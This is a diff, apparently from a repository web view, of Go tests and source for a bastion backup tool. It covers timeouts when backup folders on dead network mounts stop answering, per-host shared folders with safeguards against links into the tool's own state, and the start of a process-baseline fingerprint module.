func TestABackupFolderThatDoesNotAnswerRefusesOnlyItsBackupOps(t *testing.T) {
opMaskFixture(t)
root := filepath.Join(t.TempDir(), "nas")
_ = os.MkdirAll(root, 0o700)
hangFolder(t, root)
for i := 0; i < 2; i++ {
start := time.Now()
_, errOut, code := driveBackupOp(t, "backup_list", "", root, map[string]string{"op": "list"})
if code == 0 || !strings.Contains(errOut, "does not answer") {
t.Fatalf("a folder that does not answer: %d %s", code, errOut)
}
if el := time.Since(start); el > 2*time.Second {
t.Fatalf("the op waited %s", el)
}
}
// The same lane still answers an op that needs no backup folder.
out, _, code := driveBackupOp(t, "backup_reseal", t.TempDir(), root, resealReq{Op: "status", JobID: "br-none"})
if code != 0 || !strings.Contains(out, "unknown") {
t.Fatalf("the rest of the lane stopped: %d %s", code, out)
}
// A creation that hangs is bounded the same way.
fresh := filepath.Join(t.TempDir(), "fresh")
gate := make(chan struct{})
prev := backupMkdirFn
backupMkdirFn = func(p string, m os.FileMode) error {
if p == fresh {
<-gate
}
return prev(p, m)
}
t.Cleanup(func() {
close(gate)
deadline := time.Now().Add(5 * time.Second)
for time.Now().Before(deadline) {
opProbeMu.Lock()
busy := opProbeInFlight["mkdir:"+fresh]
opProbeMu.Unlock()
if !busy {
break
}
time.Sleep(5 * time.Millisecond)
}
backupMkdirFn = prev
})
start := time.Now()
code, errOut := pushStatusVia(t, fresh)
if code == 0 || !strings.Contains(errOut, "does not answer") || time.Since(start) > 2*time.Second {
t.Fatalf("a creation that hangs: %d %s after %s", code, errOut, time.Since(start))
}
}
+184
View File
@@ -0,0 +1,184 @@
package main
// Gate: a folder shared with a host, on a network mount that stopped
// answering, holds up nothing. backup_list answers at once with the rest and
// names the folder; backup_push from it is refused with a sentence. The same
// bound as the host's own backup folder (opmask.go).
import (
"encoding/json"
"os"
"path/filepath"
"strings"
"testing"
"time"
)
// blockReadDir makes reading dir block until the test ends.
func blockReadDir(t *testing.T, dir string) {
t.Helper()
gate := make(chan struct{})
prev := backupReadDirFn
backupReadDirFn = func(p string) ([]os.DirEntry, error) {
if p == dir {
<-gate
}
return prev(p)
}
t.Cleanup(func() {
close(gate)
waitProbeIdle("list:" + dir)
backupReadDirFn = prev
})
}
// blockResolve makes resolving a file under dir (the push path) block until
// the test ends.
func blockResolve(t *testing.T, dir string) {
t.Helper()
gate := make(chan struct{})
prev := backupResolvePathFn
backupResolvePathFn = func(root, rpath string) (string, bool) {
if root == dir {
<-gate
}
return prev(root, rpath)
}
t.Cleanup(func() {
close(gate)
waitProbeIdle("push:" + dir)
backupResolvePathFn = prev
})
}
// waitProbeIdle waits for the probe of key to return, so the function it
// calls can be put back without a race.
func waitProbeIdle(key string) {
deadline := time.Now().Add(5 * time.Second)
for time.Now().Before(deadline) {
opProbeMu.Lock()
busy := opProbeInFlight[key]
opProbeMu.Unlock()
if !busy {
return
}
time.Sleep(5 * time.Millisecond)
}
}
type listReply struct {
Backups []backupListEntry `json:"backups"`
Unavailable []backupUnavailable `json:"unavailable"`
}
func listReplyAs(t *testing.T, self, root string) (listReply, time.Duration) {
t.Helper()
type res struct {
out, errOut string
code int
}
done := make(chan res, 1)
start := time.Now()
go func() {
out, errOut, code := driveBackupOpAs(t, self, "backup_list", "", root, map[string]string{"op": "list"})
done <- res{out, errOut, code}
}()
select {
case r := <-done:
if r.code != 0 {
t.Fatalf("backup_list exited %d: %s", r.code, r.errOut)
}
var rep listReply
if err := json.Unmarshal([]byte(r.out), &rep); err != nil {
t.Fatalf("list reply: %v %s", err, r.out)
}
return rep, time.Since(start)
case <-time.After(5 * time.Second):
t.Fatal("backup_list hung on a shared folder that does not answer")
}
return listReply{}, 0
}
func TestASharedFolderThatDoesNotAnswerHoldsUpNothing(t *testing.T) {
root, _ := opMaskFixture(t) // pairing nas.host.privatae.ai, probe bound 100ms
const self = "nas.host.privatae.ai"
pushFixture(t, root, []byte("own backup"))
good, deadList, deadResolve, deadPush := t.TempDir(), t.TempDir(), t.TempDir(), t.TempDir()
for dir, name := range map[string]string{good: "good", deadList: "dead-list", deadResolve: "dead-resolve",
deadPush: "dead-push"} {
pushFixture(t, dir, []byte(name))
if _, err := addBackupShare(self, root, dir, name); err != nil {
t.Fatal(err)
}
}
// hangFolder first: its cleanup waits for every probe, so it runs last.
hangFolder(t, deadResolve) // the folder hangs as soon as it is resolved
blockReadDir(t, deadList) // the folder answers a resolve, then hangs when read
blockResolve(t, deadPush) // resolving a file in it hangs
for i := 0; i < 2; i++ { // the second time, the first probes are still stuck
rep, took := listReplyAs(t, self, root)
if took > 2*time.Second {
t.Fatalf("the listing waited %s", took)
}
folders := map[string]bool{}
for _, b := range rep.Backups {
folders[b.Folder] = true
}
if !folders["."] || !folders["shared/good"] {
t.Fatalf("the folders that answer were not listed: %+v", rep.Backups)
}
down := map[string]string{}
for _, u := range rep.Unavailable {
down[u.Folder] = u.Why
}
for _, f := range []string{"shared/dead-list", "shared/dead-resolve"} {
if folders[f] || !strings.Contains(down[f], "does not answer") {
t.Fatalf("%s: listed %v, unavailable %q", f, folders[f], down[f])
}
}
}
for _, c := range []struct{ name, why string }{
{"dead-resolve", "does not answer"}, {"dead-push", "does not answer"},
} {
start := time.Now()
_, why := backupResolveFile(self, root, "shared/"+c.name+"/"+fixtureData)
if !strings.Contains(why, c.why) || time.Since(start) > 2*time.Second {
t.Fatalf("push from %s: %q after %s", c.name, why, time.Since(start))
}
}
if abs, why := backupResolveFile(self, root, "shared/good/"+fixtureData); why != "" || abs != filepath.Join(good, fixtureData) {
t.Fatalf("a shared folder that answers stopped working: %q %q", abs, why)
}
}
// A shared folder swapped for a link to this bastion's own state after it was
// shared is not listed and not sent from.
func TestASharedFolderThatNowReachesTheBastionsStateIsLeftOut(t *testing.T) {
root, conf := opMaskFixture(t)
const self = "nas.host.privatae.ai"
base := t.TempDir()
shared := filepath.Join(base, "old")
_ = os.MkdirAll(shared, 0o700)
if _, err := addBackupShare(self, root, shared, "old"); err != nil {
t.Fatal(err)
}
_ = os.RemoveAll(shared)
if err := os.Symlink(conf, shared); err != nil {
t.Skip("no symlinks here")
}
_ = os.WriteFile(filepath.Join(conf, fixtureData), []byte("not a backup"), 0o600)
rep, _ := listReplyAs(t, self, root)
for _, b := range rep.Backups {
if b.Folder == "shared/old" {
t.Fatal("a shared folder that now is the configuration folder was listed")
}
}
if len(rep.Unavailable) != 1 || rep.Unavailable[0].Folder != "shared/old" {
t.Fatalf("unavailable: %+v", rep.Unavailable)
}
if _, why := backupResolveFile(self, root, "shared/old/"+fixtureData); why == "" {
t.Fatal("a file in the configuration folder could be sent")
}
}
+859
View File
@@ -0,0 +1,859 @@
package main
// backupstate.go — what this bastion knows about the backups in a pairing's
// backup folder, kept where the host cannot write.
//
// Three records, all in the bastion's own state directory and never inside a
// backup folder: backup_fetch writes files into the backup folder on a host's
// say-so, so anything kept there could be rewritten by the host it describes.
//
// - ARRIVALS: every backup file this bastion fetched into a folder, with its
// sha256, size, modification time and the moment it arrived. Thinning
// (backupretention.go) considers only these files, and only while each is
// still the file that arrived (same size and modification time). A file
// the person put in the folder, or one that was there before this
// version, is never counted and never removed.
// - HASHES: a cache of sha256 by (path, size, modification time), so a host
// can be told the digest of a backup it did not fetch here (a replacement
// host restoring the backups of the one it replaces) without a listing
// reading gigabytes inside a 30-second dispatch. A miss starts ONE
// background hashing job; the host lists again until the digest appears.
// - SHARES: folders the person, at this machine, let one pairing's host read
// through backup_list and backup_push — how a replacement host reaches the
// copies its lost predecessor kept here. Kept by pairing, not by folder.
// Only the person adds one (`privatae-bastion backup share`); no
// management op writes this record; unpairing or revoking a pairing
// takes its shares back.
import (
"crypto/rand"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"errors"
"fmt"
"io"
"os"
"path/filepath"
"regexp"
"sort"
"strings"
"sync"
"time"
)
// backupStateDir is overridable only so tests can point it somewhere else.
var backupStateDir = func() (string, error) {
d, err := configDir()
if err != nil {
return "", err
}
p := filepath.Join(d, "backup-state")
return p, os.MkdirAll(p, 0o700)
}
// backupStateMu serialises every read-modify-write of the arrivals and share
// records in this process: fetch jobs finish on their own goroutines.
var backupStateMu sync.Mutex
func backupRootKey(root string) string {
abs, err := filepath.Abs(filepath.Clean(root))
if err != nil {
abs = filepath.Clean(root)
}
sum := sha256.Sum256([]byte(abs))
return hex.EncodeToString(sum[:])[:16]
}
// newBackupJobID is a random job id. Ids are not guessable, and a status call
// answers only for the pairing that started the job (the job's root).
func newBackupJobID(prefix string) string {
b := make([]byte, 12)
_, _ = rand.Read(b)
return prefix + "-" + hex.EncodeToString(b)
}
// redactURLs strips the query and fragment from every URL in a message, so an
// error that quotes a signed URL does not hand its signature to whoever reads
// the job's status or the host's logs.
var urlInTextRe = regexp.MustCompile(`((?:https?)://[^\s?#"']*)[?#][^\s"']*`)
func redactURLs(s string) string {
return urlInTextRe.ReplaceAllString(s, "$1?(signature removed)")
}
// ── arrivals ───────────────────────────────────────────────────────────────
type backupArrival struct {
SHA256 string `json:"sha256"`
Size int64 `json:"size"`
ModNs int64 `json:"mtime_ns"`
Arrived string `json:"arrived_at"`
}
type backupArrivals struct {
Root string `json:"root"`
Files map[string]backupArrival `json:"files"`
}
func arrivalsPath(root string) (string, error) {
d, err := backupStateDir()
if err != nil {
return "", err
}
return filepath.Join(d, "arrivals-"+backupRootKey(root)+".json"), nil
}
// arrivalsLoadLocked reads the record; the caller holds backupStateMu.
func arrivalsLoadLocked(root string) (*backupArrivals, error) {
a := &backupArrivals{Root: root, Files: map[string]backupArrival{}}
p, err := arrivalsPath(root)
if err != nil {
return nil, err
}
raw, err := os.ReadFile(p)
if os.IsNotExist(err) {
return a, nil
}
if err != nil {
return nil, err
}
if err := json.Unmarshal(raw, a); err != nil {
return nil, fmt.Errorf("the record of fetched backups is unreadable: %w", err)
}
if a.Files == nil {
a.Files = map[string]backupArrival{}
}
return a, nil
}
func arrivalsSaveLocked(root string, a *backupArrivals) error {
p, err := arrivalsPath(root)
if err != nil {
return err
}
raw, err := json.MarshalIndent(a, "", " ")
if err != nil {
return err
}
return atomicWrite(p, raw)
}
// recordArrival notes that this bastion put the backup file `name` into the
// top of `root`, with digest sha.
func recordArrival(root, name, sha string, at time.Time) error {
fi, err := os.Lstat(filepath.Join(root, name))
if err != nil {
return err
}
backupStateMu.Lock()
defer backupStateMu.Unlock()
a, err := arrivalsLoadLocked(root)
if err != nil {
return err
}
a.Files[name] = backupArrival{SHA256: sha, Size: fi.Size(), ModNs: fi.ModTime().UnixNano(),
Arrived: at.UTC().Format(time.RFC3339Nano)}
noteHash(filepath.Join(root, name), fi, sha)
return arrivalsSaveLocked(root, a)
}
// stillTheArrival reports whether the file at path is the one recorded.
func stillTheArrival(fi os.FileInfo, a backupArrival) bool {
return fi.Mode().IsRegular() && fi.Size() == a.Size && fi.ModTime().UnixNano() == a.ModNs
}
// ── hashes ─────────────────────────────────────────────────────────────────
type hashEntry struct {
size, modNs int64
sha string
}
var (
hashMu sync.Mutex
hashCache = map[string]hashEntry{}
hashQueue = map[string]bool{}
hashRunning bool
// hashFileFn is hashFileWatched; a test replaces it to hold the worker.
hashFileFn = hashFileWatched
// hashRead is one read of a file the job hashes (under hashMu); a test
// replaces it with a slow one.
hashRead = func(f *os.File, p []byte) (int, error) { return f.Read(p) }
// hashJobTimeout (under hashMu) bounds two things. It is how long the job
// waits for one file: a file on a network mount that stopped answering
// may never return from a read, and one such file would otherwise stop
// the digests of every folder. Past the bound the job goes on to the next
// file; the read goes on by itself and its digest is kept if it ever
// returns. It is also how long the reading of a file may go without one
// of its reads returning before its folder counts as stuck (backupReads).
// A large backup on a slow disk can take far longer than the bound to
// read, but its reads keep returning, so it never counts as stuck.
hashJobTimeout = 2 * time.Minute
)
const hashCacheMax = 20000
func noteHash(abs string, fi os.FileInfo, sha string) {
hashMu.Lock()
defer hashMu.Unlock()
if len(hashCache) >= hashCacheMax {
hashCache = map[string]hashEntry{}
}
hashCache[abs] = hashEntry{size: fi.Size(), modNs: fi.ModTime().UnixNano(), sha: sha}
}
// cachedHash is the digest of the file at abs if it is known for exactly
// this size and modification time, else "".
func cachedHash(abs string, fi os.FileInfo) string {
hashMu.Lock()
defer hashMu.Unlock()
e, ok := hashCache[abs]
if !ok || e.size != fi.Size() || e.modNs != fi.ModTime().UnixNano() {
return ""
}
return e.sha
}
// hashBound is hashJobTimeout, read under hashMu.
func hashBound() time.Duration {
hashMu.Lock()
defer hashMu.Unlock()
return hashJobTimeout
}
// requestHash queues abs for the one background hashing job, starting it if
// it is not running. Never blocks on the file. A file in a folder with a read
// that has not returned (the hashing job's or a push's, backupReads) is not
// queued; a later listing asks again.
func requestHash(abs string) {
pushBound := pushStallBound()
hashMu.Lock()
defer hashMu.Unlock()
if _, stuck := folderStuck(filepath.Dir(abs), time.Now(), pushBound, hashJobTimeout); stuck {
return
}
hashQueue[abs] = true
if hashRunning {
return
}
hashRunning = true
go hashWorker()
}
func hashWorker() {
for {
pushBound := pushStallBound()
hashMu.Lock()
var next string
for p := range hashQueue {
next = p
break
}
if next == "" {
hashRunning = false
hashMu.Unlock()
return
}
delete(hashQueue, next)
dir := filepath.Dir(next)
bound := hashJobTimeout
// Not read now: a folder with a read that has not returned, or a
// bastion at backupReadsMax. A later listing asks again.
if !hashReadTake(dir, pushBound, bound) {
hashMu.Unlock()
continue
}
hashMu.Unlock()
// The read keeps its slot until it returns, however long after the
// job stopped waiting for it, and its watch ends before the slot is
// freed.
done := make(chan struct{})
go func() {
defer close(done)
defer backupReadFree(dir, true)
stop, watched := make(chan struct{}), make(chan struct{})
go func() {
defer close(watched)
watchHashRead(dir, filepath.Base(next), bound, stop)
}()
hashOne(next)
close(stop)
<-watched
}()
timer := time.NewTimer(bound)
select {
case <-done:
timer.Stop()
case <-timer.C:
}
}
}
// watchHashRead says in the log when the job's read of name, in dir, has
// taken longer than bound while its reads keep returning, and when it has gone
// without an answer for more than bound; each once. It ends when stop is
// closed.
func watchHashRead(dir, name string, bound time.Duration, stop <-chan struct{}) {
start := time.Now()
slow := false
for {
now := time.Now()
quiet := hashReadQuiet(dir, now)
if quiet > bound {
opMaskLog("backup folder %s: reading %s for its digest has not answered for more than %s (a network "+
"mount that stopped?); nothing more is read from that folder until it returns\n", dir, name, bound)
return
}
wait := bound - quiet
if took := now.Sub(start); !slow && took > bound {
slow = true
opMaskLog("backup folder %s: reading %s for its digest is taking more than %s (a large file or a slow "+
"disk); the job goes on to other folders and reads nothing more from that folder until it is done\n",
dir, name, bound)
} else if !slow && bound-took < wait {
wait = bound - took
}
timer := time.NewTimer(wait + time.Millisecond)
select {
case <-stop:
timer.Stop()
return
case <-timer.C:
}
}
}
// hashOne reads the file at p and keeps its digest if the file did not
// change while it was read.
func hashOne(p string) {
// A file listed again while it was being read is queued again; by then
// its digest is known, and it is not read twice.
before, err := os.Lstat(p)
if err != nil || !before.Mode().IsRegular() || cachedHash(p, before) != "" {
return
}
hashReadProgress(filepath.Dir(p))
sum, _, err := hashFileFn(p)
if err != nil {
return
}
after, err := os.Lstat(p)
if err != nil || after.Size() != before.Size() || !after.ModTime().Equal(before.ModTime()) {
return
}
noteHash(p, after, sum)
}
// hashFileWatched is hashFile for the hashing job: each operation on the file
// that returns (the open, every read) is noted as progress on its folder's
// hashing read, so a file read slowly but steadily never counts as stuck.
func hashFileWatched(path string) (string, int64, error) {
hashMu.Lock()
read := hashRead
hashMu.Unlock()
dir := filepath.Dir(path)
f, err := os.Open(path)
if err != nil {
return "", 0, err
}
defer f.Close()
hashReadProgress(dir)
h := sha256.New()
n, err := io.Copy(h, progressReader{f: f, dir: dir, read: read})
if err != nil {
return "", 0, err
}
return hex.EncodeToString(h.Sum(nil)), n, nil
}
// progressReader reads f, noting progress on dir's hashing read each time a
// read returns.
type progressReader struct {
f *os.File
dir string
read func(*os.File, []byte) (int, error)
}
func (r progressReader) Read(p []byte) (int, error) {
n, err := r.read(r.f, p)
hashReadProgress(r.dir)
return n, err
}
// ── reads of backup folders in flight ────────────────────────────────────
//
// A read of a file in a backup folder that never returns (a network mount
// that stopped answering) cannot be stopped: it keeps a goroutine, an OS
// thread and, for a push, the open file until the mount answers. Two things
// read backup folders, a push (backuppush.go) and the hashing job above, and
// both keep their reads in flight here, by folder, so each sees the other's:
//
// - a push holds its folder's one push slot for each operation on its file
// (a stat, the open, a read), and the hashing job holds its folder's one
// hash slot for the file it reads;
// - neither starts a read in a folder with a read of either kind that has
// gone without an answer past its bound (backupPushFileStall for one
// operation of a push; hashJobTimeout since the hashing job's last read
// of its file returned, so a large file on a slow disk that keeps
// answering never counts), so a dead folder holds at most one push read
// and one hashing read;
// - at most backupReadsMax reads, of both kinds together, are in flight on
// the bastion at once.
//
// A slot is freed when its read returns.
// folderReads is, for each kind of read of one folder, since when it has gone
// without an answer; zero when none is in flight. For a push, since its
// operation on the file started; for the hashing job, since it took the slot
// or since the last operation on its file returned (hashReadProgress).
type folderReads struct {
push, hash time.Time
}
var (
backupReadMu sync.Mutex
// backupReads holds the folders with a read in flight.
backupReads = map[string]*folderReads{}
// backupReadFreed is closed, and replaced, whenever a read returns.
backupReadFreed = make(chan struct{})
// backupReadsMax bounds the reads one bastion keeps in flight (a
// goroutine, a thread and a descriptor each for one that never returns):
// far below the process's thread and descriptor limits, and above the
// folders that ever go dead at once. A test lowers it.
backupReadsMax = 8
)
// readsInFlightLocked is the number of reads in flight; the caller holds
// backupReadMu.
func readsInFlightLocked() int {
n := 0
for _, r := range backupReads {
if !r.push.IsZero() {
n++
}
if !r.hash.IsZero() {
n++
}
}
return n
}
// stuckReadsLocked is the number of reads in flight past their bound; the
// caller holds backupReadMu.
func stuckReadsLocked(now time.Time, pushBound, hashBound time.Duration) int {
n := 0
for _, r := range backupReads {
if !r.push.IsZero() && now.Sub(r.push) > pushBound {
n++
}
if !r.hash.IsZero() && now.Sub(r.hash) > hashBound {
n++
}
}
return n
}
// folderStuckLocked says which read of dir has been in flight past its bound,
// as a phrase for a sentence, and false when none has; the caller holds
// backupReadMu.
func folderStuckLocked(dir string, now time.Time, pushBound, hashBound time.Duration) (string, bool) {
r := backupReads[dir]
switch {
case r == nil:
return "", false
case !r.push.IsZero() && now.Sub(r.push) > pushBound:
return fmt.Sprintf("an earlier push for more than %s", pushBound), true
case !r.hash.IsZero() && now.Sub(r.hash) > hashBound:
return fmt.Sprintf("the reading of a backup for its digest for more than %s", hashBound), true
}
return "", false
}
func folderStuck(dir string, now time.Time, pushBound, hashBound time.Duration) (string, bool) {
backupReadMu.Lock()
defer backupReadMu.Unlock()
return folderStuckLocked(dir, now, pushBound, hashBound)
}
// hashReadTake takes dir's hash slot for the hashing job, or reports false
// when it may not read there now: a read of dir is stuck, the job's earlier
// read there has not returned, or backupReadsMax reads are in flight.
func hashReadTake(dir string, pushBound, hashBound time.Duration) bool {
backupReadMu.Lock()
defer backupReadMu.Unlock()
now := time.Now()
if _, stuck := folderStuckLocked(dir, now, pushBound, hashBound); stuck {
return false
}
r := backupReads[dir]
if (r != nil && !r.hash.IsZero()) || readsInFlightLocked() >= backupReadsMax {
return false
}
if r == nil {
r = &folderReads{}
backupReads[dir] = r
}
r.hash = now
return true
}
// hashReadProgress notes that an operation of the hashing job's read of dir
// returned, so the read counts as stuck only after hashJobTimeout without
// another. Only the job's own read, which holds dir's hash slot until it
// returns, calls it.
func hashReadProgress(dir string) {
backupReadMu.Lock()
defer backupReadMu.Unlock()
if r := backupReads[dir]; r != nil && !r.hash.IsZero() {
r.hash = time.Now()
}
}
// hashReadQuiet is how long the hashing job's read of dir has gone without an
// answer at now; zero when none is in flight.
func hashReadQuiet(dir string, now time.Time) time.Duration {
backupReadMu.Lock()
defer backupReadMu.Unlock()
if r := backupReads[dir]; r != nil && !r.hash.IsZero() {
return now.Sub(r.hash)
}
return 0
}
// backupReadFree frees dir's hash slot (hash) or its push slot, when the read
// holding it returned.
func backupReadFree(dir string, hash bool) {
backupReadMu.Lock()
defer backupReadMu.Unlock()
if r := backupReads[dir]; r != nil {
if hash {
r.hash = time.Time{}
} else {
r.push = time.Time{}
}
if r.push.IsZero() && r.hash.IsZero() {
delete(backupReads, dir)
}
}
close(backupReadFreed)
backupReadFreed = make(chan struct{})
}
// ── one folder per host, and none over the bastion's own state ────────────
// resolvedPath is p made absolute with every link in its existing part
// resolved, so two spellings of one folder compare equal. Unbounded: for
// this bastion's own local folders; a host's backup folder, which may be a
// network mount, goes through backupFolderResolve instead.
func resolvedPath(p string) string {
abs, err := filepath.Abs(filepath.Clean(p))
if err != nil {
abs = filepath.Clean(p)
}
return opResolveFn(abs)
}
// pathInside reports whether child is strictly inside parent.
func pathInside(child, parent string) bool {
rel, err := filepath.Rel(parent, child)
if err != nil || rel == "." || rel == ".." || filepath.IsAbs(rel) {
return false
}
return !strings.HasPrefix(rel, ".."+string(os.PathSeparator))
}
// bastionStateOverlap is a refusal when folder is, or contains, this
// bastion's own state (its config folder, its backup keys, its backup
// records), or sits inside the config folder anywhere but under its
// backups/ folder: a host that can write, list or send files there could
// reach the pairings, the DCN state, the keys, or the record that decides
// what thinning removes.
func bastionStateOverlap(folder string) string {
return bastionStateOverlapResolved(folder, resolvedPath(folder))
}
// bastionStateOverlapResolved is bastionStateOverlap for a folder already
// resolved to r (the bastion's own folders are local and resolved here).
func bastionStateOverlapResolved(folder, r string) string {
if conf, err := configDirPath(); err == nil && conf != "" {
rc := resolvedPath(conf)
if pathInside(r, rc) && !pathInside(r, filepath.Join(rc, "backups")) {
return fmt.Sprintf("the backup folder %s is inside this bastion's configuration folder (%s) but not under "+
"its backups folder; set backup_root to a folder of its own", folder, conf)
}
}
// A folder inside the keys or the records is inside the configuration
// folder and outside backups/, so it was refused above.
type prot struct {
name string
path func() (string, error)
}
for _, p := range []prot{
{"this bastion's configuration folder", configDirPath},
{"this bastion's backup keys", backupKeysDir},
{"this bastion's backup records", backupStateDir},
} {
pp, err := p.path()
if err != nil || pp == "" {
continue
}
rp := resolvedPath(pp)
if r == rp || pathInside(rp, r) {
return fmt.Sprintf("the backup folder %s overlaps %s (%s); set backup_root to a folder of its own", folder, p.name, pp)
}
}
return ""
}
// backupRootProblem is a refusal when the backup folder of the pairing self
// is not one this bastion can keep apart: it overlaps the bastion's own
// state, or it is, contains or sits inside another pairing's backup folder —
// two hosts would then list, send and thin each other's backups, and a folder
// shared with one would reach both. Checked on every backup op, against the
// pairings on disk now.
//
// Every backup folder is resolved with a bound (backupFolderResolve), since
// any of them can be a network mount that stopped answering. This pairing's
// own folder not answering refuses its backup ops with a sentence saying
// so. Another pairing's folder not answering blocks nothing: it is compared
// as written and as it last resolved.
func backupRootProblem(self, root string) string {
r, ok, _ := backupFolderResolve(root)
if !ok {
return fmt.Sprintf("refused: this host's backup folder %s does not answer (a network mount that stopped?); "+
"its backup ops wait until it does", root)
}
if why := bastionStateOverlapResolved(root, r); why != "" {
return "refused: " + why
}
cfgs, err := loadPairings()
if err != nil {
return "refused: the pairings on this machine are unreadable, so this host's backup folder cannot be checked: " + err.Error()
}
for _, c := range cfgs {
if c.HostName == self {
continue
}
op := c.backupRootPath()
if op == "" {
continue
}
var forms []string
if o, ok, last := backupFolderResolve(op); ok {
forms = []string{o}
} else {
abs, _ := filepath.Abs(filepath.Clean(op))
forms = []string{abs}
if last != "" {
forms = append(forms, last)
}
}
for _, o := range forms {
if o == r || pathInside(o, r) || pathInside(r, o) {
return fmt.Sprintf("refused: this host's backup folder %s is, contains or sits inside the backup folder of %s (%s). "+
"Give each host a backup_root of its own on this machine", root, c.HostName, op)
}
}
}
return ""
}
// backupMkdirFn is os.MkdirAll; a test replaces it with one that fails or
// blocks.
var backupMkdirFn = os.MkdirAll
// backupRootReady is the check every backup op runs before its handler: the
// folder is this host's own (backupRootProblem), and, for an op that writes
// (create), it exists, created here on first use rather than when the daemon
// starts. A read (backup_list) creates nothing: a folder not made yet lists
// empty. Both steps are bounded, so a backup folder on a network mount that
// stopped answering refuses that host's backup ops with a sentence and holds
// up nothing else: not the daemon's start, not the rest of this host's lane,
// not another host.
func backupRootReady(self, root string, create bool) string {
if why := backupRootProblem(self, root); why != "" {
return why
}
if !create {
return ""
}
if err := opProbe("mkdir:"+root, func() error { return backupMkdirFn(root, 0o700) }); err != nil {
if errors.Is(err, errProbeBusy) || errors.Is(err, errProbeTimeout) {
return fmt.Sprintf("refused: this host's backup folder %s does not answer (a network mount that stopped?); "+
"its backup ops wait until it does", root)
}
return fmt.Sprintf("refused: this host's backup folder %s cannot be created: %v", root, err)
}
return ""
}
// ── shares ─────────────────────────────────────────────────────────────────
type backupShare struct {
Slug string `json:"slug"`
Dir string `json:"dir"`
From string `json:"from"`
Added string `json:"added_at"`
}
// shares by the reading pairing's host name: a share is given to a pairing,
// not to a folder, so it cannot reach another pairing that happens to use
// the same folder, and it goes when that pairing is unpaired or revoked.
type backupSharesFile map[string][]backupShare
var shareSlugRe = regexp.MustCompile(`[^a-z0-9.-]+`)
func sharesPath() (string, error) {
d, err := backupStateDir()
if err != nil {
return "", err
}
return filepath.Join(d, "shares.json"), nil
}
func sharesLoadLocked() (backupSharesFile, error) {
m := backupSharesFile{}
p, err := sharesPath()
if err != nil {
return nil, err
}
raw, err := os.ReadFile(p)
if os.IsNotExist(err) {
return m, nil
}
if err != nil {
return nil, err
}
if err := json.Unmarshal(raw, &m); err != nil {
return nil, fmt.Errorf("the record of shared backup folders is unreadable: %w", err)
}
return m, nil
}
func sharesSaveLocked(m backupSharesFile) error {
p, err := sharesPath()
if err != nil {
return err
}
raw, err := json.MarshalIndent(m, "", " ")
if err != nil {
return err
}
return atomicWrite(p, raw)
}
// sharesFor is the folders the pairing `reader` may read. An anonymous
// caller ("") has none.
func sharesFor(reader string) []backupShare {
if reader == "" {
return nil
}
backupStateMu.Lock()
defer backupStateMu.Unlock()
m, err := sharesLoadLocked()
if err != nil {
return nil
}
out := append([]backupShare(nil), m[reader]...)
sort.Slice(out, func(i, j int) bool { return out[i].Slug < out[j].Slug })
return out
}
// addBackupShare lets the pairing `reader`, whose own backup folder is
// readerRoot, read the folder dir. from names it for the person and becomes
// the folder's name in listings (shared/<slug>).
func addBackupShare(reader, readerRoot, dir, from string) (*backupShare, error) {
if reader == "" {
return nil, errors.New("say which host to share with")
}
abs, err := filepath.Abs(dir)
if err != nil {
return nil, err
}
fi, err := os.Stat(abs)
if err != nil || !fi.IsDir() {
return nil, fmt.Errorf("%s is not a folder", dir)
}
if resolvedPath(abs) == resolvedPath(readerRoot) {
return nil, errors.New("that is already this host's own backup folder")
}
if why := bastionStateOverlap(abs); why != "" {
return nil, errors.New(why)
}
slug := strings.Trim(shareSlugRe.ReplaceAllString(strings.ToLower(from), "-"), "-.")
if len(slug) > 40 {
slug = slug[:40]
}
if slug == "" {
slug = "folder"
}
backupStateMu.Lock()
defer backupStateMu.Unlock()
m, err := sharesLoadLocked()
if err != nil {
return nil, err
}
taken := map[string]bool{}
for _, s := range m[reader] {
if s.Dir == abs {
return nil, fmt.Errorf("that folder is already shared with this host as shared/%s", s.Slug)
}
taken[s.Slug] = true
}
base := slug
for i := 2; taken[slug]; i++ {
slug = fmt.Sprintf("%s-%d", base, i)
}
s := backupShare{Slug: slug, Dir: abs, From: from, Added: time.Now().UTC().Format(time.RFC3339)}
m[reader] = append(m[reader], s)
if err := sharesSaveLocked(m); err != nil {
return nil, err
}
return &s, nil
}
func dropBackupShare(reader, slug string) error {
backupStateMu.Lock()
defer backupStateMu.Unlock()
m, err := sharesLoadLocked()
if err != nil {
return err
}
var keep []backupShare
found := false
for _, s := range m[reader] {
if s.Slug == slug {
found = true
continue
}
keep = append(keep, s)
}
if !found {
return fmt.Errorf("no folder is shared with this host as shared/%s", slug)
}
if len(keep) == 0 {
delete(m, reader)
} else {
m[reader] = keep
}
return sharesSaveLocked(m)
}
// dropSharesOf takes back every folder shared with the pairing reader: called
// when it is unpaired or revoked, so a later pairing under the same name does
// not inherit them.
func dropSharesOf(reader string) error {
backupStateMu.Lock()
defer backupStateMu.Unlock()
m, err := sharesLoadLocked()
if err != nil {
return err
}
if _, ok := m[reader]; !ok {
return nil
}
delete(m, reader)
return sharesSaveLocked(m)
}
+827
View File
@@ -0,0 +1,827 @@
package main
// baseline.go — `observe:baseline`, the accounting of what is NORMAL on this
// machine.
//
// The rule: "execution outside" means anything that is not in the baseline.
// Taking the baseline is a scan of the machine and an accounting of what is
// there and what it is doing; a new process after the baseline gets flagged.
//
// So the whole detection story rests on one question — "have I seen this
// before?" — and that question is only as good as what counts as "this". A
// fingerprint that is too loose calls a swapped binary the same program; one
// that is too tight calls every restart a new one and buries the real finding
// under noise. Everything in this file exists to get that one comparison right.
//
// NO MODEL ANYWHERE IN THIS PATH. Every rule here is
// deterministic over typed evidence. The host READS the result; it never
// produces it.
//
// WHAT THE FINGERPRINT IS MADE OF, and why each part earns its place:
//
// exe digest the CONTENT of the file the kernel opened, not its path. A path
// is a name an attacker can reuse: drop a new binary at
// /usr/bin/node and a path-keyed baseline says "seen it". The
// digest is the one field that changes when the program changes.
// user the same binary run by root and by a person are different facts
// about this machine, and collapsing them hides a privilege step.
// unit what OWNS the process — the systemd unit, the scheduler entry.
// This is what makes a restart the SAME entry: pid, start time and
// parent pid all change when a service bounces, and none of them
// may be in here for that reason.
// argv shape the command line with volatile fields masked (below). A worker
// that takes a different port or temp path on every start is the
// same program; a worker that grows a --load-extension flag is not.
//
// DELIBERATELY ABSENT: pid, ppid, start time. All three change on every
// restart of the same service, and a baseline that churns is a baseline nobody
// reads.
import (
"crypto/sha256"
"encoding/hex"
"encoding/json"
"errors"
"fmt"
"io"
"os"
"path/filepath"
"regexp"
"sort"
"strings"
"time"
)
